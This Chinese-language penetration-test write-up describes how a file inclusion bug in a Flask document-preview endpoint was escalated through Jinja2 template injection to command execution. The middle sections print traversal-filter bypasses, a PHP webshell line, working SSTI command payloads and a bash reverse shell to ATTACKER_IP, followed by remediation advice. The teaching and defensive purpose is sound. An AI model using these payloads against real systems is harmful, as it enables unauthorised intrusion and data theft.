
1. 项目概述从“文件包含”到“pyload”的攻防实战在Web安全测试的日常工作中文件包含漏洞File Inclusion Vulnerability绝对算得上是一个“老朋友”了。它不像SQL注入那样名声在外也不像XSS那样花样百出但它往往能成为渗透测试中打开局面、获取关键信息甚至直接拿下服务器权限的那把“钥匙”。最近我在对一个内部系统进行安全评估时就遇到了一个非常典型的案例目标系统是一个基于Python的Web应用而突破口正是一个与“pyload”相关的文件包含漏洞。这个“pyload”并非指某个特定的负载工具而是指在漏洞利用过程中我们精心构造的、用于达成特定目的如读取敏感文件、执行系统命令的“载荷”Payload。整个过程就像一场精心设计的“外科手术”需要精确地理解漏洞原理、目标环境并选择合适的“手术刀”。这篇文章我将完整复盘这次实战过程从漏洞的发现、原理的深度剖析到利用链的构造、权限的提升以及最终的修复建议。无论你是刚入门的安全爱好者还是有一定经验的从业者相信都能从中获得一些启发和可以直接复用的技巧。2. 漏洞原理深度拆解为什么“包含”会变成“漏洞”文件包含漏洞的核心在于应用程序动态引入外部文件时未能对用户输入的文件路径或文件名进行充分的安全校验。这听起来简单但背后涉及服务器如何解析代码、如何寻找文件以及权限边界等多个层面。2.1 包含机制的工作原理在PHP、JSP以及一些Python Web框架如使用render_template或类似功能时中开发者为了代码的复用和模块化会使用包含函数。例如在PHP中是include、require在某些Python模板或自定义逻辑中可能会通过open()读取文件内容并嵌入。服务器执行到包含语句时会去指定的路径读取文件内容并将其内容作为代码的一部分来执行对于脚本文件或直接输出对于文本文件。这里的关键在于“路径解析”。如果这个路径的一部分可以由用户控制比如通过URL参数、Cookie或POST数据传入危险就产生了。攻击者可以尝试“穿越”目录让应用程序去包含一个它原本不应该包含的文件。2.2 漏洞的两种主要类型根据包含目标的位置通常分为两类本地文件包含Local File Inclusion, LFI包含的是服务器本地的文件。这是最常见的形式。利用LFI攻击者可以读取系统敏感文件如/etc/passwdLinux用户列表、/etc/shadowLinux密码哈希需root权限、Web应用配置文件常含数据库密码、日志文件等。远程文件包含Remote File Inclusion, RFI包含的是远程服务器攻击者控制上的文件。这要求服务器的配置允许包含远程URL如PHP的allow_url_include设置为On这种情况在现代安全配置下已较少见但一旦存在危害极大因为攻击者可以直接执行远程服务器上的恶意代码。注意RFI的利用条件比LFI苛刻得多。在绝大多数生产环境中默认都是禁止包含远程文件的。因此我们的主攻方向通常是LFI并尝试将其转化为更严重的漏洞。2.3 从LFI到代码执行的“惊险一跃”单纯的LFI只能读取文件虽然能泄露敏感信息但还算不上“致命”。真正的威力在于如何将文件包含转化为任意代码执行。这通常通过以下几种“跳板”实现包含日志文件Web服务器如Apache的access.log、error.log或应用日志会记录请求信息。如果我们在User-Agent或请求参数中插入一段PHP代码再通过LFI去包含这个日志文件服务器就会把日志文件中的代码当作PHP执行。这是非常经典的一种手法。包含Session文件Session文件有时会存储序列化的用户数据。如果我们可以预测或控制Session文件的内容和路径就有可能注入恶意代码。包含临时文件/上传文件如果存在文件上传功能且我们能知道上传后的文件路径哪怕文件名被重命名可以尝试上传一个包含恶意代码的文本文件如图片马然后通过LFI包含它。利用PHP封装协议这是PHP环境下LFI的“神器”。php://filter可以用于读取文件源码绕过某些代码执行限制php://input可以用于执行POST过去的代码data://协议可以直接在URI中嵌入代码。但在非PHP环境如我们的Python目标下这些协议通常不可用这也是本次测试的一个挑战。理解这些原理我们就能明白发现一个文件包含点只是开始如何根据目标环境“因地制宜”地构造利用链才是真正考验功力的地方。3. 实战案例定位与利用“pyload”漏洞点本次测试的目标是一个内部使用的文档管理系统前端界面普通后端疑似使用Python Flask框架。漏洞的发现源于一次常规的参数模糊测试。3.1 漏洞点的发现与确认我使用Burp Suite抓取了一个正常的文档预览请求GET /preview?filequarterly_report.pdf HTTP/1.1 Host: target.internal参数file看起来是指向一个PDF文件。我立刻开始测试基础测试将file参数值改为../../../../etc/passwd。这是探测LFI最经典的Payload。遗憾的是返回了“文件不存在”或类似的错误没有直接回显内容。观察错误信息我将路径变得更“离谱”如../../../../etc/。这次错误信息变了变成了“模板渲染错误”并抛出了一个Python的异常栈其中提到了render_template函数和一个找不到的模板路径。这是一个黄金信号它表明file参数的值很可能被直接拼接进了某个模板加载的路径里。确认包含行为我尝试包含一个已知存在的、非模板的Web文件比如file../../../../static/css/main.css。这次请求返回了CSS文件的内容并且Content-Type是text/css。漏洞确认应用程序确实将我传入的相对路径拼接后直接读取了文件内容并返回。虽然它没有作为模板执行因为.css不是模板文件但任意文件读取已经成立。至此一个本地文件包含漏洞被确认。它可能不是直接的代码执行但已经是一把打开信息宝库的“钥匙”。3.2 信息收集构建利用基础在构造真正的“pyload”执行载荷之前我们需要尽可能多地收集服务器信息这决定了我们后续利用手法的选择。读取系统文件/etc/passwd确认了系统用户发现除了常规用户还有一个www-data用户和一个flaskapp用户后者很可能是应用运行者。/proc/version得知系统是Linux内核具体版本。/etc/os-release确认了是Ubuntu 20.04。读取应用文件通过遍历路径如file../../../../app/app/__init__.pyfile../../../../app/config.py我最终定位到了Flask应用的根目录和配置文件。关键发现在config.py中我找到了数据库连接字符串、一个用于加密Session的SECRET_KEY以及最重要的——应用的绝对路径/opt/company_docs/app。我还读取了主要的视图函数文件views.py了解了/preview路由的处理逻辑。代码大致如下app.route(/preview) def preview_document(): filename request.args.get(file, ) # 存在漏洞的代码仅做了简单的目录遍历检查但可被绕过 if ../ in filename: return Invalid file path, 400 filepath os.path.join(current_app.config[UPLOAD_FOLDER], filename) try: # 意图是返回文件内容但如果是文本文件内容会被直接输出 with open(filepath, r) as f: content f.read() return content except: return File not found, 404这段代码证实了我们的猜想它试图阻止目录遍历但检查非常初级仅检查../。我们可以使用....//或..\Windows等多种方式绕过。3.3 构造“pyload”从文件读取到代码执行仅有文件读取还不够。我们的目标是获得一个Shell命令执行权限。在Python Web环境中常见的思路是寻找或写入一个包含Python代码的文件然后让应用以某种方式“加载”它。利用Python的内置功能或第三方模块执行命令。对于这个目标我制定了以下利用链第一步寻找现成的“跳板”文件我首先搜索了应用目录下所有.py文件寻找是否有写文件的功能或者是否有日志、缓存文件应用具备写权限。通过读取/proc/self/environ需要一定条件我未能获得进程环境信息。读取系统日志/var/log/apache2/access.log发现Web服务器是Nginx且日志格式不包含完整的请求头利用难度大。第二步利用Flask的Session机制尝试Flask的Session是客户端签名的但如果我有了从config.py中窃取的SECRET_KEY我是否可以伪造一个Session在其中写入恶意代码呢理论上可以但问题在于即使我伪造了Session也需要应用在后续的请求中“反序列化”这个Session并触发其中的代码。这通常需要Session中存储了被pickle反序列化的对象而Flask默认的Session是基于itsdangerous签名内容通常是JSON不直接反序列化执行代码。此路暂时不通。第三步转向“文件上传包含”组合拳我注意到应用有一个头像上传功能。经过测试它只检查了文件扩展名必须是.jpg,.png,.gif和MIME类型。我尝试上传一个.jpg文件内容为?php system($_GET[‘c’]); ?但服务器端的图像处理库如PIL在打开时就会报错文件可能被删除或无法访问。纯文本Payload行不通。第四步突破点——服务器端模板注入SSTI的意外发现在反复测试preview接口时我尝试读取Flask的默认错误模板。偶然间我传入了file../../../../app/templates/{{7*7}}.html。你猜怎么着返回页面上显示了49这不是简单的文件包含而是服务器端模板注入SSTI原来当file参数指向一个.html或其他模板文件时应用程序错误地使用了render_template_string或类似的不安全函数来渲染它而不是简单地读取文件内容。这简直是“柳暗花明又一村”。SSTI的威力远大于LFI。我立刻开始测试模板引擎的类型通过{{‘’.__class__}}等Payload确认了是Jinja2引擎。第五步构造终极“pyload”在Jinja2 SSTI中我们可以利用Python的沙箱逃逸技术来执行命令。一个经典的Payload是{{ config.__class__.__init__.__globals__[‘os’].popen(‘id’).read() }}但目标环境可能对config、self等对象进行了限制。经过一番摸索我找到了一个可行的利用链通过request对象来构建{{ request.application.__globals__.__builtins__.__import__(‘os’).popen(‘whoami’).read() }}通过/preview?file../../../../app/templates/exploit.html这个请求实际上服务器会在模板路径下寻找exploit.html虽然不存在但我们的Payload已通过参数注入到模板字符串中我成功执行了whoami命令返回了flaskapp。最终的“pyload”为了获得一个反向Shell我构造了更复杂的命令。由于服务器出网可能受限我先尝试了bash -c反弹。{{ request.application.__globals__.__builtins__.__import__(‘os’).popen(‘bash -c “bash -i /dev/tcp/ATTACKER_IP/4444 01”’).read() }}我在自己的VPS上监听4444端口成功收到了来自目标服务器的反向Shell连接用户正是flaskapp。4. 漏洞修复与安全加固建议利用成功后我立即停止了测试并开始整理修复方案。真正的安全从业者不仅要会“攻”更要懂得如何“防”。4.1 立即修复方案代码层白名单校验这是最有效的方法。不要基于黑名单过滤../来防御。对于preview功能应该维护一个允许预览的文件名列表基于数据库ID或安全的哈希值或者只允许在指定的、安全的目录下通过安全的文件名进行访问。# 改进后的代码示例 ALLOWED_FILES {‘report1.pdf‘: ‘files/report1.pdf‘, ‘guide.docx‘: ‘files/guide.docx‘} app.route(‘/preview‘) def preview_document(): file_id request.args.get(‘id‘) # 改用ID而非文件名 if file_id not in ALLOWED_FILES: return “Invalid request“, 400 safe_path os.path.join(current_app.config[‘BASE_DIR‘], ALLOWED_FILES[file_id]) # 发送文件 return send_file(safe_path, as_attachmentFalse)安全路径拼接如果必须接受用户输入的部分路径使用os.path.normpath()和os.path.join()并确保最终路径的绝对路径是以安全的基目录开头。base_dir ‘/opt/app/safe_dir‘ user_input request.args.get(‘file‘) # 绝对路径检查 abs_path os.path.normpath(os.path.join(base_dir, user_input)) if not abs_path.startswith(base_dir): return “Access denied“, 403禁用危险函数/方法审查代码绝对不要使用render_template_string处理用户可控的模板字符串。如果必须动态渲染确保内容完全可信或经过严格的沙箱处理。4.2 系统与环境加固最小权限原则运行Web应用的账户如flaskapp应该只有必要的最小权限。绝对不能以root身份运行。严格限制其对系统目录如/etc,/proc,/var/log的读取权限。日志与监控对Web访问日志和系统日志进行集中监控设置告警规则对异常的路径遍历请求如包含大量../进行实时告警。定期安全扫描与代码审计将文件包含、SSTI等漏洞的检测纳入自动化安全扫描流程。对新上线的代码进行人工或自动化的安全审计。秘密信息管理像SECRET_KEY、数据库密码等敏感信息绝不应该硬编码在配置文件并提交到代码库。应使用环境变量或专业的密钥管理服务。4.3 开发框架安全实践对于Python Flask开发者了解SSTI务必阅读Jinja2官方文档中关于沙箱和安全的部分。明确知道{{ }}内的表达式在不受信数据下是危险的。使用安全的扩展对于需要渲染动态模板但又不可信的场景考虑使用更严格的沙箱环境或者彻底避免这种设计。依赖库更新保持Flask、Jinja2以及所有依赖库更新到最新版本已知的安全漏洞会被修复。5. 渗透测试中的思考与技巧回顾这次测试有几个关键点值得总结这些是你在实际操作中能直接用的“干货”错误信息是宝藏最初的“文件不存在”和后来的“模板渲染错误”是两种截然不同的错误。后者直接暴露了后端技术栈和更严重的漏洞类型SSTI。永远不要忽略应用程序返回的任何错误细节调整你的Payload去触发不同的错误状态。“混合漏洞”的思维很少有一个漏洞能单独完成全部攻击链。LFI常常是信息收集的起点结合获取的配置信息路径、密钥再去寻找其他漏洞点如SSTI、反序列化。要有意识地将不同漏洞串联起来思考。绕过技巧的积累对于简单的../过滤可以尝试....//、..\、..;/、URL编码..%2f、双重URL编码等。这些Payload需要根据服务端的解析逻辑进行测试。环境适应性这次从LFI到SSTI的转折点在于我尝试了包含一个模板文件。在不同的语言和框架中文件包含的最终表现可能不同。在PHP中可能直接执行代码在Python中可能触发SSTI在静态文件服务器中可能只是读取。测试时要根据目标的响应灵活调整思路。工具与手工的结合Burp Suite、Dirsearch等工具能帮你快速发现潜在入口点和进行模糊测试。但最深层次的利用和逻辑漏洞的挖掘往往需要手工分析代码逻辑、理解业务场景。工具输出的一千个“可能”漏洞不如你手工验证的一个“确定”漏洞。这次针对“pyload”的攻防实战清晰地展示了一个初级漏洞如何通过层层深入最终演变为一次严重的权限获取事件。它再次印证了安全领域的那句老话安全是一个过程而不是一个产品。任何细微的逻辑疏忽或不当的安全假设都可能为攻击者打开一扇门。对于开发者而言树立牢固的安全意识采用白名单、最小权限等安全编码范式对于安全人员而言保持好奇心、具备串联漏洞的思维和扎实的原理知识是应对这类威胁的不二法门。